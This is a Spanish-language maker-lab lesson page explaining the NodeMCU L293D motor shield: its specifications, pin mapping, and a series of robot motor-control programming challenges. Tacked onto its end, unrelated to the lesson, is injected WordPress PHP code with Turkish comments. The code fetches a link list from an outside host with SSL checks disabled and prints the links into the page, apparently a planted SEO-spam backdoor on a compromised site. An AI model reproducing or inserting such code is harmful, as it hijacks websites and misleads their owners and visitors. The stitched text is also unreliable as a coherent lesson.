Be Maker

Loading...

Be Maker

section-icon

Maker Lab

¡Porque cada gran inventor necesita un buen laboratorio! Aquí encontrarás proyectos paso a paso, mini guías y recursos sobre electrónica, diseño 3D, programación y robótica.

Uncategorized - noviembre 15, 2025

Shield de Corriente para Node MCU

1

TechMentor

@admin

CLASE 03

Para obtener tu recompensa debes estar registrado en nuestra plataforma y publicar tu trabajo

🧠¿Qué aprendo?

  • Reconocerla Placa NodeMCU
  • Conectar el Shield de Corriente para la NodeMCU

💡 Conocimientos previos

  • Nociones de Programación

Motor Shield NodeMCU L293D

El motor Shield permite expandir y tener conexión rápida con los pines del NodeMCU además de tener integrado el controlador de motores L293D para controlar dos motores DC de manera independiente.

Datos Técnicos

  • Tipo: Motor Shield ESP-12E
  • Puente H: L293D
  • Voltaje para motor: 4.5V a 36V
  • Voltaje para ESP: 4.5V a 9V
  • Corriente
    • Funcionamiento: 60mA
    • Máxima del Motor: 1.2A
  • Potencia máxima: 4 W
  • Interfaz: Serial UART,SPI y Analógica
  • Interfaz ESP8266: Habilitación y Restablecimiento
  • Compatible con la placa NodeMcu Cuadrado
  • Led indicador de encendido

💻 Esquema de Conexión

¿Cómo funciona?
✅ La placa usa 4 pines para controlar los motores:

  • PWMA – D1
  • PWMB – D2
  • DA       – D3
  • DB       – D4

PWMA y PWMB controlan la velocidad de los motores (0 – 1023). DA y DB controlan la dirección de los motores (0 = directo, 1 = reversa). Para el control, utilice los puertos D1 y D3 para el motor A y D2 y D4 para el motor B.

⚠️ Recuerda que debes sujetar los componentes electrónicos por los extremos.

Recomendaciones de uso del Motor Shield

Para mayor comodidad, se utiliza un Módulo de Atajo para conectar VIN y VM para Alimentar la placa ESP y el motor.

🦾 Código

🧠 Vamos a realizar un código para hacer que el «Motor A» gire hacia adelante por 5 segundos y luego se detenga.

¡Estamos listos, a construir!

✅ Ingresamos a la Cuenta de Tinkercad de miMakerHouse Talleres Vacacionales y hacemos clic en «Unirse con apodo». Ahí colocamos nuestro nombre de usuario (primerNombre.primerApellido)

✅ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

➡️ RETO 01: Realizar la programación del Robot para que se mueva hacia adelante por 5 segundos y después se detenga.

➡️ RETO 02: Realizar la programación del Robot para que avance hacia adelante por 3 segundos, se detenga por 2 segundos, avance hacia atrás por 3 segundos y después se detenga.

➡️ RETO 02: Realizar la programación del Robot para que gire a la izquierda, se detenga por 3 segundos, después gire al frente, se detenga por 3 segundos y por último gire a la derecha y se quede en esa posición.

➡️ RETO FINAL: Realizar la programación del Robot para que pueda ser controlado por comunicación serial haciendo uso de los siguientes comandos:

  • run: Avanza hacia adelante
  • back: Avanza hacia atrás
  • stop: Se detenga
  • left: Gira a la izquierda
  • right: Gira a la derecha

Recuerda

Los robots educativos favorecen que los alumnos de cualquier edad se familiaricen y profundicen en el estudio de la robótica y la programación, al tiempo que aprenden otras habilidades cognitivas.

$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }